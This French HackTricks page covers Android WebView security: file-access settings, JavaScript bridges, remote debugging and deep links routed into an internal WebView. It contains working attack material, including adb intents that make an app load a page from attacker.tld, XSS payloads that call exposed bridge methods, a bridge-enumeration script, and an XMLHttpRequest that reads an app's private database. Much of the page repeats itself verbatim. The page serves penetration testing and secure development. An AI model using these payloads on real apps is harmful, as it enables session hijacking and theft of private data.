Attaques WebView

Reading time: 15 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Guide sur les configurations et la sécurité de WebView

Aperçu des vulnérabilités de WebView

Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.

Exemple de WebView

AccĂšs aux fichiers dans les WebViews

Par défaut, les WebViews permettent l'accÚs aux fichiers. Cette fonctionnalité est contrÎlée par la méthode setAllowFileAccess(), disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (file://path/to/file).

Fonctionnalités obsolÚtes : AccÚs universel et accÚs aux fichiers depuis des URL

  • AccĂšs universel depuis des URL de fichiers : Cette fonctionnalitĂ© obsolĂšte permettait des requĂȘtes inter-origines depuis des URL de fichiers, posant un risque de sĂ©curitĂ© significatif en raison des potentielles attaques XSS. Le paramĂštre par dĂ©faut est dĂ©sactivĂ© (false) pour les applications ciblant Android Jelly Bean et les versions plus rĂ©centes.
  • Pour vĂ©rifier ce paramĂštre, utilisez getAllowUniversalAccessFromFileURLs().
  • Pour modifier ce paramĂštre, utilisez setAllowUniversalAccessFromFileURLs(boolean).
  • AccĂšs aux fichiers depuis des URL de fichiers : Cette fonctionnalitĂ©, Ă©galement obsolĂšte, contrĂŽlait l'accĂšs au contenu d'autres URL de schĂ©ma de fichiers. Comme l'accĂšs universel, son paramĂštre par dĂ©faut est dĂ©sactivĂ© pour une sĂ©curitĂ© accrue.
  • Utilisez getAllowFileAccessFromFileURLs() pour vĂ©rifier et setAllowFileAccessFromFileURLs(boolean) pour dĂ©finir.

Chargement sécurisé de fichiers

Pour désactiver l'accÚs au systÚme de fichiers tout en accédant aux actifs et ressources, la méthode setAllowFileAccess() est utilisée. Avec Android R et versions ultérieures, le paramÚtre par défaut est false.

  • VĂ©rifiez avec getAllowFileAccess().
  • Activez ou dĂ©sactivez avec setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accĂ©der aux actifs et ressources locaux, s'alignant sur la politique de mĂȘme origine, facilitant ainsi la gestion de CORS.

loadUrl

C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :

java
webview.loadUrl("<url here>")

Bien sĂ»r, un attaquant potentiel ne devrait jamais ĂȘtre en mesure de contrĂŽler l'URL qu'une application va charger.

Gestion de JavaScript et du schéma Intent

  • JavaScript : DĂ©sactivĂ© par dĂ©faut dans les WebViews, il peut ĂȘtre activĂ© via setJavaScriptEnabled(). La prudence est de mise car activer JavaScript sans protections appropriĂ©es peut introduire des vulnĂ©rabilitĂ©s de sĂ©curitĂ©.
  • SchĂ©ma Intent : Les WebViews peuvent gĂ©rer le schĂ©ma intent, ce qui peut conduire Ă  des exploits s'il n'est pas gĂ©rĂ© avec soin. Une vulnĂ©rabilitĂ© d'exemple impliquait un paramĂštre WebView exposĂ© "support_url" qui pouvait ĂȘtre exploitĂ© pour exĂ©cuter des attaques de cross-site scripting (XSS).

Vulnerable WebView

Exemple d'exploitation utilisant adb :

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Une fonctionnalité est fournie par Android qui permet à JavaScript dans un WebView d'invoquer des fonctions d'application Android natives. Cela est réalisé en utilisant la méthode addJavascriptInterface, qui intÚgre JavaScript avec les fonctionnalités natives d'Android, appelée un WebView JavaScript bridge. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.

  • Une extrĂȘme prudence est requise pour les applications ciblant les versions Android infĂ©rieures Ă  4.2 en raison d'une vulnĂ©rabilitĂ© permettant l'exĂ©cution de code Ă  distance via du JavaScript malveillant, exploitant la rĂ©flexion.

Implementing a JavaScript Bridge

  • Les interfaces JavaScript peuvent interagir avec le code natif, comme le montrent les exemples oĂč une mĂ©thode de classe est exposĂ©e Ă  JavaScript :
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • Le pont JavaScript est activĂ© en ajoutant une interface au WebView :
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des mĂ©thodes Java exposĂ©es :
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Pour attĂ©nuer les risques, limitez l'utilisation du pont JavaScript au code expĂ©diĂ© avec l'APK et empĂȘchez le chargement de JavaScript Ă  partir de sources distantes. Pour les appareils plus anciens, dĂ©finissez le niveau API minimum Ă  17.

Exécution de Code à Distance Basée sur la Réflexion (RCE)

  • Une mĂ©thode documentĂ©e permet d'atteindre la RCE par rĂ©flexion en exĂ©cutant une charge utile spĂ©cifique. Cependant, l'annotation @JavascriptInterface empĂȘche l'accĂšs non autorisĂ© aux mĂ©thodes, limitant ainsi la surface d'attaque.

Débogage à Distance

  • Le dĂ©bogage Ă  distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exĂ©cution arbitraire de JavaScript dans le contenu WebView.

Activation du Débogage à Distance

  • Le dĂ©bogage Ă  distance peut ĂȘtre activĂ© pour tous les WebViews au sein d'une application en :
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Pour activer le dĂ©bogage de maniĂšre conditionnelle en fonction de l'Ă©tat dĂ©bogable de l'application :
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrer des fichiers arbitraires

  • DĂ©monstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Attaques WebView

Guide sur les configurations et la sécurité de WebView

Aperçu des vulnérabilités de WebView

Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.

Exemple de WebView

AccĂšs aux fichiers dans les WebViews

Par défaut, les WebViews permettent l'accÚs aux fichiers. Cette fonctionnalité est contrÎlée par la méthode setAllowFileAccess(), disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (file://path/to/file).

Fonctionnalités obsolÚtes : AccÚs universel et accÚs aux fichiers depuis des URL

  • AccĂšs universel depuis des URL de fichiers : Cette fonctionnalitĂ© obsolĂšte permettait des requĂȘtes inter-origines depuis des URL de fichiers, posant un risque de sĂ©curitĂ© significatif en raison des attaques XSS potentielles. Le paramĂštre par dĂ©faut est dĂ©sactivĂ© (false) pour les applications ciblant Android Jelly Bean et les versions ultĂ©rieures.
  • Pour vĂ©rifier ce paramĂštre, utilisez getAllowUniversalAccessFromFileURLs().
  • Pour modifier ce paramĂštre, utilisez setAllowUniversalAccessFromFileURLs(boolean).
  • AccĂšs aux fichiers depuis des URL de fichiers : Cette fonctionnalitĂ©, Ă©galement obsolĂšte, contrĂŽlait l'accĂšs au contenu d'autres URL de schĂ©ma de fichiers. Comme l'accĂšs universel, son paramĂštre par dĂ©faut est dĂ©sactivĂ© pour une sĂ©curitĂ© accrue.
  • Utilisez getAllowFileAccessFromFileURLs() pour vĂ©rifier et setAllowFileAccessFromFileURLs(boolean) pour dĂ©finir.

Chargement sécurisé de fichiers

Pour désactiver l'accÚs au systÚme de fichiers tout en accédant aux actifs et ressources, la méthode setAllowFileAccess() est utilisée. Avec Android R et versions ultérieures, le paramÚtre par défaut est false.

  • VĂ©rifiez avec getAllowFileAccess().
  • Activez ou dĂ©sactivez avec setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accĂ©der aux actifs et ressources locaux, s'alignant sur la politique de mĂȘme origine, facilitant ainsi la gestion CORS.

loadUrl

C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :

java
webview.loadUrl("<url here>")

Bien sĂ»r, un attaquant potentiel ne devrait jamais ĂȘtre en mesure de contrĂŽler l'URL qu'une application va charger.

Deep-linking dans WebView interne (schĂ©ma personnalisĂ© → WebView sink)

De nombreuses applications enregistrent des schémas/chemins personnalisés qui dirigent une URL fournie par l'utilisateur vers un WebView intégré à l'application. Si le lien profond est exporté (VIEW + BROWSABLE), un attaquant peut forcer l'application à rendre un contenu distant arbitraire à l'intérieur de son contexte WebView.

ModÚle de manifeste typique (simplifié) :

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Flux de code commun (simplifié) :

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

ModĂšle d'attaque et PoC via adb :

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact : la page distante s'exécute dans le contexte de l'application WebView (cookies/session du profil WebView de l'application, accÚs à tout @JavascriptInterface exposé, accÚs potentiel à content:// et file:// selon les paramÚtres).

Conseils de chasse :

  • Grep des sources dĂ©compilĂ©es pour getQueryParameter("url"), loadUrl(, des sinks WebView, et des gestionnaires de deep-link (onCreate/onNewIntent).
  • Examinez le manifeste pour les filtres VIEW+BROWSABLE et les schĂ©mas/hĂŽtes personnalisĂ©s qui correspondent Ă  des activitĂ©s qui dĂ©marrent ensuite un WebView.
  • VĂ©rifiez s'il existe plusieurs chemins de deep-link (par exemple, un chemin "navigateur externe" contre un chemin "webview interne") et prĂ©fĂ©rez celui qui s'affiche Ă  l'intĂ©rieur de l'application.

Activation de JavaScript avant vérification (bug d'ordre de vérification)

Une erreur de durcissement frĂ©quente consiste Ă  activer JavaScript ou Ă  configurer des paramĂštres WebView assouplis avant que la liste blanche finale/la vĂ©rification de l'URL cible ne soit terminĂ©e. Si la vĂ©rification est incohĂ©rente entre les helpers ou se produit trop tard, un lien profond d'attaquant peut atteindre un Ă©tat oĂč :

  1. Les paramĂštres WebView s'appliquent (par exemple, setJavaScriptEnabled(true)), et
  2. L'URL non fiable est chargée avec JavaScript activé.

ModĂšle de bug (pseudocode) :

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Pourquoi c'est exploitable

  • Normalisation incohĂ©rente : les helpers divisent/reconstruisent l'URL diffĂ©remment de la vĂ©rification finale, crĂ©ant des incohĂ©rences qu'une URL malveillante peut exploiter.
  • Pipeline dĂ©sordonnĂ© : activer JS Ă  l'Ă©tape 2 s'applique globalement Ă  l'instance WebView, affectant le chargement final mĂȘme si la vĂ©rification Ă©choue par la suite.

Comment tester

  • CrĂ©ez des charges utiles de deep-link qui passent les vĂ©rifications initiales et atteignent le site de configuration WebView.
  • Utilisez adb pour dĂ©clencher des intents VIEW implicites livrant un paramĂštre url= contrĂŽlĂ© par vous :
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Si l'exploitation réussit, votre payload exécute JavaScript dans le WebView de l'application. De là, recherchez des ponts exposés :

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Directives défensives

  • Canonicalisez une fois ; validez strictement contre une seule source de vĂ©ritĂ© (schĂ©ma/hĂŽte/chemin/requĂȘte).
  • N'appelez setJavaScriptEnabled(true) qu'aprĂšs que tous les contrĂŽles de liste blanche aient rĂ©ussi et juste avant de charger du contenu de confiance.
  • Évitez d'exposer @JavascriptInterface Ă  des origines non fiables ; prĂ©fĂ©rez le contrĂŽle par origine.
  • Envisagez des instances par WebView pour le contenu de confiance par rapport au contenu non fiable, avec JS dĂ©sactivĂ© par dĂ©faut.

Gestion de JavaScript et des schémas d'intention

  • JavaScript : DĂ©sactivĂ© par dĂ©faut dans les WebViews, il peut ĂȘtre activĂ© via setJavaScriptEnabled(). La prudence est de mise car activer JavaScript sans protections appropriĂ©es peut introduire des vulnĂ©rabilitĂ©s de sĂ©curitĂ©.
  • SchĂ©ma d'intention : Les WebViews peuvent gĂ©rer le schĂ©ma intent, ce qui peut conduire Ă  des exploits s'il n'est pas gĂ©rĂ© avec soin. Une vulnĂ©rabilitĂ© d'exemple impliquait un paramĂštre WebView exposĂ© "support_url" qui pouvait ĂȘtre exploitĂ© pour exĂ©cuter des attaques de cross-site scripting (XSS).

Vulnerable WebView

Exemple d'exploitation utilisant adb :

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Une fonctionnalité est fournie par Android qui permet à JavaScript dans un WebView d'invoquer des fonctions d'application Android natives. Cela est réalisé en utilisant la méthode addJavascriptInterface, qui intÚgre JavaScript avec les fonctionnalités natives d'Android, appelée un WebView JavaScript bridge. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.

  • Une extrĂȘme prudence est requise pour les applications ciblant les versions Android infĂ©rieures Ă  4.2 en raison d'une vulnĂ©rabilitĂ© permettant l'exĂ©cution de code Ă  distance via du JavaScript malveillant, exploitant la rĂ©flexion.

Implementing a JavaScript Bridge

  • Les interfaces JavaScript peuvent interagir avec le code natif, comme le montrent les exemples oĂč une mĂ©thode de classe est exposĂ©e Ă  JavaScript :
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge est activĂ© en ajoutant une interface au WebView :
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des mĂ©thodes Java exposĂ©es :
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Pour attĂ©nuer les risques, limitez l'utilisation du pont JavaScript au code expĂ©diĂ© avec l'APK et empĂȘchez le chargement de JavaScript Ă  partir de sources distantes. Pour les appareils plus anciens, dĂ©finissez le niveau API minimum Ă  17.

Exécution de Code à Distance Basée sur la Réflexion (RCE)

  • Une mĂ©thode documentĂ©e permet d'atteindre la RCE par rĂ©flexion en exĂ©cutant une charge utile spĂ©cifique. Cependant, l'annotation @JavascriptInterface empĂȘche l'accĂšs non autorisĂ© aux mĂ©thodes, limitant ainsi la surface d'attaque.

Débogage à Distance

  • Le dĂ©bogage Ă  distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exĂ©cution arbitraire de JavaScript dans le contenu WebView.

Activation du Débogage à Distance

  • Le dĂ©bogage Ă  distance peut ĂȘtre activĂ© pour tous les WebViews au sein d'une application en :
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Pour activer le dĂ©bogage de maniĂšre conditionnelle en fonction de l'Ă©tat dĂ©bogable de l'application :
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrer des fichiers arbitraires

  • DĂ©monstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks